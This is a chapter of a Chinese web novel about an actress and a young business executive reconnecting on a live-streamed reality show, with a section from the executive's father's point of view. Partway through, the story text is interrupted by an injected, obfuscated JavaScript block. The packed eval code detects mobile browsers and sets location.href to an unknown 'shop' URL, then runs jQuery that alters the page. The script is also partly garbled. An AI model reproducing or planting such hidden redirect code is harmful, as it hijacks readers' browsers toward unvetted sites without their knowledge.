想到这里,楚今延垂下眼,指尖无意识地在桌沿轻敲。
那个人现在应该也在看直播吧。
年年下午收到的消息,八成是他发的。这么多年了,他还是那套打法——试探、施压、掌控。
可那又如何?
她从来不认为自己是傅家那盘棋里的棋子。从前不是,现在更不是。
至于年年……
楚今延抬眸,看向窗外沉沉的夜色,眼底映着城市遥远的灯火。
她想起今晚傅斯年给她解安全带时的侧脸,垂着眼,动作轻得像怕惊醒什么珍贵的梦。
想起她站在房间里,乖乖等她检查完每一处角落,眼神跟着她走,却不打扰。
想起她说“知道了”时,那声带着一点鼻音的、乖乖软软的回应。
楚今延撑着桌子站了起来,站在窗前,看着这座陌生的、却又因为一个人而变得熟悉的城市。
没什么好怕的,年年。
姐姐回来了。
晚上十一点,盯了一天公关的经纪人,刚歇口气准备睡下了,打算最后亲自上直播间看一眼就放心入睡。她来的时候,楚今延已经拿上衣服泡澡去了,摄像机的镜头被毛巾盖住,黑不溜秋不见五指,进度条往回拉,结果就看的楚今延顶着一张顶漂亮的脸对着镜头发呆。
“??!!!”这可把咱经纪人吓得够呛。
泡澡手机不离手的楚今延接到了经纪人的电话,她声音低哑,“喂?”
“你是不是还没出戏?”
知道她有话要说的楚今延从浴缸里出来,浴袍松松垮垮披在身上,“有点。”
“尽量早点出戏,镜头前太沉默寡言不好。”经纪人语重心长的交代她。
楚今延拿着手机走到阳台,顺手点了根烟,“好。”
经纪人敏锐的察觉到人情绪不对,自然的开始转移话题。
“不过你竟然和那个傅斯年认识,真是意外。”
打火机点燃香烟,指尖冒出星星火光,“年年好像很厉害呢,让你们都这么震惊。”
经纪人看她仿佛对自己这个人脉没有自知之明,顿时激动起来,“天呐今延,你不在国内不知道,傅斯年如今已经是帝王般的存在了,比她父亲当年在商圈的地位还夸张。”
“对我来说都一样,乖孩子。”
楚今延呼出一口气,任由微凉的夜风拂过她湿润的发梢。
经纪人吃瓜的声音从听筒那边传来,“说到这,我还真挺好奇的,你们咋认识的,这个口吻。”
楚今延看着指尖明灭的火光,轻笑一声,声音在夜色里有些缥缈:“她是我看着长大的。很多年前的事了。”
经纪人捂住嘴罢很是意外,她不由的惊叹道:“那你们这也太传奇了吧?”
“你们少说也有五年不见,结果现在一个成为商圈大佬,一个成为国际影后,顶峰相见啊这是。还不背着人,再次见面直接就搁节目上,现在年轻人都这么会玩的吗?”
楚今延被她说笑了,“这事我也没想到,不过我已经不年轻了赵姐。”
“xia,”赵经纪人一想到她顶着那张脸说这种鬼话就哈气,“别搁这跟姐闹嗷,姐要睡觉了。”该交代的也交代了,想吃的瓜也吃到了,赵经纪人不想多哔哔,直接使出一招睡遁。
电话挂断。
楚今延没有立刻回屋。她倚着栏杆,将那支烟缓缓抽完。
夜风带来远处隐约的车流声,更衬得此处的寂静。
她想起她们最初的那年。初中校园的门口,清瘦挺拔的女孩穿着短袖,喘着气跑到自己面前,一副刚运动完的样子,臂弯里还挂着件校服,在雪白的冬天里朝气的不行。
她不由分说地把自己的外套裹在女孩身上,凶巴巴地问她:“要不要命?”
女孩低着头没有说话,耳根却悄悄红了。
等到回家,那件被体温焐热的外套又整整齐齐地叠好,放回了她的衣柜。
那时的傅斯年,沉默、倔强、早熟得让人心疼,却也干净得像北地未化的雪。
指尖传来轻微的灼痛。
楚今延呼出最后一口薄雾,把烟掐灭。
回到镜头前,她拿掉毛巾,蹲下来,认认真真对着镜头说了一句:“晚安。”
弹幕刷过一片“晚安姐姐”。
她笑了笑,关掉了摄像头。
窗外是怀城的夜,晚风带着凉意,拂在身上迟迟不散。
但心里有一个人,已经足够填满所有空落落的地方。
傅斯年洗完澡出来的时候,时间还没到十点。
她拿着毛巾擦着发尾,发梢还滴着水,一滴落在手机屏幕上,她随手抹掉,看了一眼时间,无声地叹了口气。
其实早就料到今晚会是这样。白天录节目落下的工作,晚上总要补回来。她没什么好抱怨的——这条路是她自己选的,这个位置是她自己坐上来的,既然坐稳了,就得扛住。
只是……
她顿了顿,目光往门口的方向偏了偏。
楚今延的房间在走廊那头,隔了几道墙,什么也看不见。
傅斯年收回视线,走到镜头前,认认真真地跟还在直播间蹲守的观众道歉:“抱歉,今晚还有些工作,可能不能跟大家聊天了。”
她自觉把工作带到另一个工作里很不好,但有时候实在没有办法。
作为补偿,她特意坐在了离镜头稍近一些的地方,然后埋头再也没抬起来。
屏幕那头,观众只能看到她垂着眼专注处理文件的侧脸。偶尔她会皱一下眉,偶尔会抿着唇思考几秒,偶尔——只是偶尔——会微微走神,目光落在某处,过两秒才收回来,继续敲键盘。
这一坐就是两小时。
十一点多的时候她起身去卫生间洗漱,就当大家以为她准备睡下的时候,傅斯年又抱着电脑去了床上,俨然一副要继续的样子。
【我去,这么一看傅总真的好忙。】
【她包忙的啊,我好多股票都买的傅式的,各种各样的都有,覆盖超全的。】
【这样显得隔壁谈恋爱的瓷易好闲哈哈哈。】
【每个人行程安排不一样吧,总裁也是人,不能生活里只剩下工作啊。】
【确实,对比起来郁安多健康。】
【笑死我了,郁安完全就是爱你老己来的。】
显然是郁安每年花大量的钱和时间给自己过节被扒了出来,一年20个节日她是一个也不落啊,逮着机会就给自己放假,真就主打一个上班全看心情。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317492|198987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
前来补课的打工人们纷纷表示:羡慕哭了。
留下的夜猫子在傅斯年直播间里断断续续聊着天。有人截图她的侧脸,有人讨论她今天穿的那件睡衣是什么牌子,有人开始复盘白天那些让人尖叫的互动。
但更多的是沉默——她工作的时候实在太专注了,专注到让人不忍心刷屏打扰。
大家只是偶尔看一眼,确认她还在,然后继续忙自己的事。
像隔着屏幕的陪伴。
楚今延和林恰然两个作息健康的已经关镜头睡了。瓷易那边也不知道盖了镜头在干嘛,有人猜她也在工作,有人猜她偷偷打游戏,还有人猜她可能在跟林恰然打电话。
四个镜头,只剩傅斯年这一个还亮着。
大家欣赏了一会儿傅斯年工作的侧颜,终于也熬不住,陆续睡去。
十几个小时的直播爽是爽,但也确实累啊!
一时间,万籁俱寂。
只留下苦命的傅斯年还在继续。
而她不知道的是,遥远的某个屏幕前,有人看着这个画面,迟迟没有移开视线。
那人指间夹着烟,烟雾上升,背影在昏暗的房间里显得格外孤寂。
傅尽铭已经这样坐了很久。
烟灰缸里躺着七八个烟头,都是今晚攒下的。他抽烟很多年了,戒不掉,也没想戒。年轻时候应酬抽,后来一个人待着也抽。烟草味儿混着沉默,是他最熟悉的东西。但他很少一次性抽这么多。
今晚他不知道自己在烦什么。
他看着屏幕里那个伏案工作的年轻女人——他的女儿。
画面是直播的视角,固定机位,没什么特别的运镜。傅斯年坐在床上,腿上放着笔记本电脑,什么都没干,只是工作。
很普通的画面。
但他就是移不开眼。
很久没能这样安静地看过她了。
上一次这样看,还是什么时候?她刚来怀城那年?还是更早,在她还小的时候?
想不起来了。
只记得最开始那年她瘦得厉害,下巴尖尖的,不爱说话,问什么都是淡淡的,仿佛跟他不熟。
那时候她很小一个,他难得回家一次,她就站在角落里,也不过来,就那么静静看着他。他招手让她过来,她就走过来,站在他面前,也不说话。
他问她想不想爸爸,她点头。
他问她在学校开不开心,她点头。
他问她有什么想要的,她摇头。
那时候他就觉得这孩子省心,好养。
他带她去买衣服,她试一件就说“可以”,再问就是“都行”。后来他学会了,不用问,直接买,反正她穿着都好看。
时间线再往后走,他接她来怀城的那年。有一天晚上他应酬回来,喝多了,跟以往一样倒在客厅沙发上睡着了。醒来的时候身上盖着一条毯子,茶几上放着一杯温水。
她就坐在对面,安安静静地看书。
他问她怎么不睡,她说:“怕你吐。”
就三个字。
他当时心里什么感觉,说不上来。就觉得这孩子,好生讨他喜欢。
再后来呢?
她想离开他,像逃离母亲逃来怀城一样,逃离他,而他没能拦住。